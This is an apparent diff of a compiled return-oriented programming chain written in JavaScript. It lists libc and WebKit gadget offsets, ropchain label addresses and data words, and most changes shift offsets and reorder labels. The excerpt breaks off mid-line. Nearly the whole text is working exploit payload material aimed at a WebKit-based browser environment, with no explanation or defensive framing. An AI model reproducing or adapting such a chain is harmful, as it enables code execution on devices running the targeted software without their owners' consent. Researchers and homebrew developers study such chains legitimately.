set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+75236, //or rax, rcx libc_base+793877, //pop rsi -ropchain+72800, //L173 +ropchain+72784, //L173 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+72768, //L171 +ropchain+72752, //L172 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L171: +//L172: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L172: +//L171: db([32, 0]); // 0x20 set_gadget(libc_base+788575,); //pop rax //L173: @@ -1262,14 +1260,14 @@ set_gadgets([ libc_base+877546, //shl rax, cl libc_base+877568, //shr rax, cl libc_base+793877, //pop rsi -ropchain+72912, //L174 +ropchain+72896, //L174 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+72944, //L176 +ropchain+72928, //L176 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+72928, //L175 +ropchain+72912, //L175 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -1289,10 +1287,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+73040, //L177 +ropchain+73024, //L177 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+73056, //L178 +ropchain+73040, //L178 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); @@ -1309,10 +1307,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+73168, //L179 +ropchain+73152, //L179 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+73152, //L180 +ropchain+73136, //L180 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -1323,11 +1321,11 @@ set_gadget(libc_base+811575,); //pop rsp db([0, 0]); // 0x0 set_gadgets([ libc_base+793877, //pop rsi -ropchain+73256, //L182 +ropchain+73240, //L182 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 libc_base+793877, //pop rsi -ropchain+73240, //L181 +ropchain+73224, //L181 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -1344,10 +1342,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+73352, //L183 +ropchain+73336, //L183 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+73368, //L184 +ropchain+73352, //L184 webkit_base+7438103, //mov [rsi], rax webkit_base+432898 //pop r8 ]); @@ -1364,10 +1362,10 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+73480, //L185 +ropchain+73464, //L185 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+73464, //L186 +ropchain+73448, //L186 webkit_base+7438103, //mov [rsi], rax libc_base+788575 //pop rax ]); @@ -1382,18 +1380,18 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+73552, //L188 +ropchain+73536, //L187 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 ]); -//L188: +//L187: db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+73616, //L190 +ropchain+73600, //L190 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 webkit_base+432898 //pop r8 @@ -1406,44 +1404,44 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+73712, //L193 +ropchain+73680, //L191 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L191: -db([16, 0]); // 0x10 -set_gadget(libc_base+792472,); //pop rcx -//L193: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L192: +db([16, 0]); // 0x10 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+73784, //L196 +ropchain+73752, //L194 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L194: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L196: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L195: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi webkit_base+2997875, //mov [rax], rcx libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L197: -db([4294967284, 4294967295]); // -0xc -set_gadget(libc_base+792472,); //pop rcx -//L199: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L198: +db([4294967284, 4294967295]); // -0xc set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+73904, //L201 +ropchain+73888, //L201 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -1455,39 +1453,39 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+954100, //mov [rax], ecx libc_base+793877, //pop rsi -ropchain+73960, //L204 +ropchain+73944, //L203 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L204: +//L203: db([0, 0]); // 0x0 //L202: set_gadgets([ libc_base+793877, //pop rsi -ropchain+74024, //L207 +ropchain+73992, //L205 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L205: -db([4294967284, 4294967295]); // -0xc -set_gadget(libc_base+792472,); //pop rcx -//L207: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L206: +db([4294967284, 4294967295]); // -0xc set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+74128, //L210 +ropchain+74112, //L210 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+74112, //L209 +ropchain+74096, //L208 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L209: +//L208: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L210: @@ -1495,25 +1493,25 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+74296, //L213 +ropchain+74280, //L213 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+74312, //L214 +ropchain+74296, //L214 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+74264, //L211 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+74280, //L212 +ropchain+74248, //L212 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L211: +//L212: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L212: +//L211: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L213: @@ -1524,10 +1522,10 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+74384, //L215 +ropchain+74368, //L215 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+74400, //L216 +ropchain+74384, //L216 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -1539,11 +1537,11 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+74496, //L218 +ropchain+74480, //L218 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+74480, //L217 +ropchain+74464, //L217 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -1559,14 +1557,14 @@ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+74576, //L220 +ropchain+74560, //L219 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L220: +//L219: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax -//L219: +//L220: db([4, 0]); // 0x4 set_gadget(libc_base+206806,); //pop rdi //L221: @@ -1574,14 +1572,14 @@ db([4, 0]); // 0x4 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+74712, //L222 +ropchain+74696, //L222 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+74744, //L224 +ropchain+74728, //L224 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+74728, //L223 +ropchain+74712, //L223 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -1604,14 +1602,14 @@ webkit_base+14959219, //cmp rax, rcx ; sete al webkit_base+48555, //setl al libc_base+269973, //movzx eax, al libc_base+793877, //pop rsi -ropchain+74912, //L226 +ropchain+74896, //L226 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+74928, //L227 +ropchain+74912, //L227 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+74896, //L225 +ropchain+74880, //L225 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); @@ -1626,14 +1624,14 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+75032, //L230 +ropchain+75016, //L230 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+75080, //L232 +ropchain+75064, //L232 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+75064, //L231 +ropchain+75048, //L231 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); @@ -1653,11 +1651,11 @@ webkit_base+11676600, //cmp rax, rsi ; sete al libc_base+269973, //movzx eax, al webkit_base+414627, //shl rax, 3 libc_base+793877, //pop rsi -ropchain+75192, //L233+8 +ropchain+75176, //L233+8 libc_base+547636, //add rax, rsi libc_base+186490, //mov rax, [rax] libc_base+793877, //pop rsi -ropchain+75184, //L233 +ropchain+75168, //L233 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+811575 //pop rsp @@ -1665,35 +1663,35 @@ libc_base+811575 //pop rsp //L233: db([0, 0]); // 0x0 set_gadgets([ -ropchain+75208, //L233+24 -ropchain+75224, //L228 +ropchain+75192, //L233+24 +ropchain+75208, //L228 libc_base+811575, //pop rsp -ropchain+75240, //L234 +ropchain+75224, //L234 //L228: libc_base+811575, //pop rsp -ropchain+85632, //L235 +ropchain+85616, //L235 //L234: libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L236: -db([4294967288, 4294967295]); // -0x8 -set_gadget(libc_base+792472,); //pop rcx -//L238: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L237: +db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+75376, //L241 +ropchain+75360, //L241 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+75360, //L240 +ropchain+75344, //L239 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L240: +//L239: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L241: @@ -1701,15 +1699,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+75520, //L244 +ropchain+75504, //L244 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+75488, //L242 +ropchain+75472, //L242 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+75504, //L243 +ropchain+75488, //L243 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -1726,7 +1724,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+75592, //L245 +ropchain+75576, //L245 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -1736,12 +1734,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+75648, //L248 +ropchain+75632, //L247 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L248: +//L247: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -1758,29 +1756,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+75792, //L252 +ropchain+75760, //L250 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L250: -db([4294967284, 4294967295]); // -0xc -set_gadget(libc_base+792472,); //pop rcx -//L252: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L251: +db([4294967284, 4294967295]); // -0xc set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+75896, //L255 +ropchain+75880, //L255 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+75880, //L254 +ropchain+75864, //L253 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L254: +//L253: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L255: @@ -1788,25 +1786,25 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+76064, //L258 +ropchain+76048, //L258 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+76080, //L259 +ropchain+76064, //L259 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+76032, //L256 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+76048, //L257 +ropchain+76016, //L257 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L256: +//L257: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L257: +//L256: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L258: @@ -1817,14 +1815,14 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+76184, //L260 +ropchain+76168, //L260 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+76216, //L262 +ropchain+76200, //L262 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+76200, //L261 +ropchain+76184, //L261 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -1845,10 +1843,10 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+877175, //sub rax, rcx ; sbb rdx, rcx libc_base+793877, //pop rsi -ropchain+76320, //L263 +ropchain+76304, //L263 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+76336, //L264 +ropchain+76320, //L264 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -1866,7 +1864,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+76424, //L265 +ropchain+76408, //L265 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -1876,26 +1874,26 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+76480, //L268 +ropchain+76464, //L267 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L268: +//L267: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+76616, //L270 +ropchain+76600, //L270 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+76632, //L271 +ropchain+76616, //L271 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+76600, //L269 +ropchain+76584, //L269 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -1910,22 +1908,22 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+270096, //mov al, [rdi] libc_base+793877, //pop rsi -ropchain+76792, //L275 +ropchain+76776, //L275 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+76744, //L272 +ropchain+76728, //L273 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+76776, //L274 +ropchain+76760, //L274 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L272: +//L273: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L273: +//L272: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi //L274: @@ -1936,7 +1934,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+76848, //L277 +ropchain+76832, //L277 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi @@ -1946,21 +1944,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+76952, //L278 +ropchain+76936, //L279 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+76984, //L280 +ropchain+76968, //L280 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+76968, //L279 +ropchain+76952, //L278 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L278: +//L279: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L279: +//L278: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L280: @@ -1968,22 +1966,22 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+77144, //L284 +ropchain+77128, //L284 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+77096, //L281 +ropchain+77080, //L282 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+77128, //L283 +ropchain+77112, //L283 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L281: +//L282: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L282: +//L281: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi //L283: @@ -1994,7 +1992,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+77200, //L286 +ropchain+77184, //L286 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi @@ -2004,21 +2002,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+77304, //L287 +ropchain+77288, //L288 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+77336, //L289 +ropchain+77320, //L289 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+77320, //L288 +ropchain+77304, //L287 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L287: +//L288: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L288: +//L287: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L289: @@ -2026,22 +2024,22 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+77496, //L293 +ropchain+77480, //L293 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+77448, //L290 +ropchain+77432, //L291 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+77480, //L292 +ropchain+77464, //L292 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L290: +//L291: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L291: +//L290: db([24, 0]); // 0x18 set_gadget(libc_base+206806,); //pop rdi //L292: @@ -2052,7 +2050,7 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+877546, //shl rax, cl libc_base+793877, //pop rsi -ropchain+77552, //L295 +ropchain+77536, //L295 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+206806 //pop rdi @@ -2062,21 +2060,21 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+523896, //sar edi, cl libc_base+793877, //pop rsi -ropchain+77656, //L296 +ropchain+77640, //L297 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+77688, //L298 +ropchain+77672, //L298 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+77672, //L297 +ropchain+77656, //L296 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L296: +//L297: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L297: +//L296: db([0, 0]); // 0x0 set_gadget(libc_base+788575,); //pop rax //L298: @@ -2084,10 +2082,10 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+77760, //L299 +ropchain+77744, //L299 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+77776, //L300 +ropchain+77760, //L300 webkit_base+7438103, //mov [rsi], rax libc_base+206806 //pop rdi ]); @@ -2099,20 +2097,20 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+77880, //L303 +ropchain+77848, //L301 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+77896, //L304 +ropchain+77880, //L304 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L301: -db([4294967283, 4294967295]); // -0xd -set_gadget(libc_base+792472,); //pop rcx -//L303: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L302: +db([4294967283, 4294967295]); // -0xd set_gadget(libc_base+206806,); //pop rdi //L304: db([0, 0]); // 0x0 @@ -2127,16 +2125,16 @@ db([4294967288, 4294967295]); // -0x8 set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+78040, //L309 +ropchain+78024, //L309 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+78024, //L308 +ropchain+78008, //L307 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L308: +//L307: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L309: @@ -2144,15 +2142,15 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+78184, //L312 +ropchain+78168, //L312 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+78152, //L310 +ropchain+78136, //L310 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+78168, //L311 +ropchain+78152, //L311 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -2169,7 +2167,7 @@ db([8, 0]); // 0x8 set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+793877, //pop rsi -ropchain+78256, //L313 +ropchain+78240, //L313 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -2179,12 +2177,12 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+78312, //L316 +ropchain+78296, //L315 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L316: +//L315: db([0, 0]); // 0x0 set_gadget(libc_base+793877,); //pop rsi db([8, 0]); // 0x8 @@ -2192,29 +2190,29 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi libc_base+471355, //mov [rdi], rax libc_base+793877, //pop rsi -ropchain+78408, //L319 +ropchain+78376, //L317 webkit_base+7438103, //mov [rsi], rax libc_base+759626, //mov rax, r8 -libc_base+793877 //pop rsi +libc_base+792472 //pop rcx ]); //L317: -db([4294967284, 4294967295]); // -0xc -set_gadget(libc_base+792472,); //pop rcx -//L319: db([0, 0]); // 0x0 +set_gadget(libc_base+793877,); //pop rsi +//L318: +db([4294967284, 4294967295]); // -0xc set_gadgets([ libc_base+547636, //add rax, rsi libc_base+793877, //pop rsi -ropchain+78512, //L322 +ropchain+78496, //L322 webkit_base+7438103, //mov [rsi], rax libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi -ropchain+78496, //L321 +ropchain+78480, //L320 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx ]); -//L321: +//L320: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L322: @@ -2222,25 +2220,25 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191169, //mov eax, [rdi] libc_base+793877, //pop rsi -ropchain+78680, //L325 +ropchain+78664, //L325 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+78696, //L326 +ropchain+78680, //L326 webkit_base+7438103, //mov [rsi], rax -libc_base+882884, //mov rax, rcx +libc_base+50775, //mov rax, rdi libc_base+793877, //pop rsi ropchain+78648, //L323 webkit_base+7438103, //mov [rsi], rax -libc_base+50775, //mov rax, rdi +libc_base+882884, //mov rax, rcx libc_base+793877, //pop rsi -ropchain+78664, //L324 +ropchain+78632, //L324 webkit_base+7438103, //mov [rsi], rax webkit_base+3750700 //pop r11 ; mov rax, rdi ]); -//L323: +//L324: db([0, 0]); // 0x0 set_gadget(libc_base+792472,); //pop rcx -//L324: +//L323: db([0, 0]); // 0x0 set_gadget(libc_base+206806,); //pop rdi //L325: @@ -2251,14 +2249,14 @@ db([0, 0]); // 0x0 set_gadgets([ webkit_base+6227286, //movsxd rax, edi libc_base+793877, //pop rsi -ropchain+78800, //L327 +ropchain+78784, //L327 webkit_base+7438103, //mov [rsi], rax libc_base+793877, //pop rsi -ropchain+78832, //L329 +ropchain+78816, //L329 webkit_base+7438103, //mov [rsi], rax webkit_base+1786005, //mov rax, r11 libc_base+793877, //pop rsi -ropchain+78816, //L328 +ropchain+78800, //L328 webkit_base+7438103, //mov [rsi], rax libc_base+792472 //pop rcx ]); @@ -2279,7 +2277,7 @@ set_gadgets([ libc_base+248252, //sub rdi, rsi ; mov rdx, rdi webkit_base+1838146, //add rax, rcx libc_base+793877, //pop rsi -ropchain+78920, //L330 +ropchain+78904, //L330 webkit_base+7438103, //mov [rsi], rax libc_base+882884, //mov rax, rcx libc_base+792472 //pop rcx @@ -2289,26 +2287,26 @@ db([0, 0]); // 0x0 set_gadgets([ libc_base+191168, //mov rax, [rdi] libc_base+793877, //pop rsi -ropchain+78976, 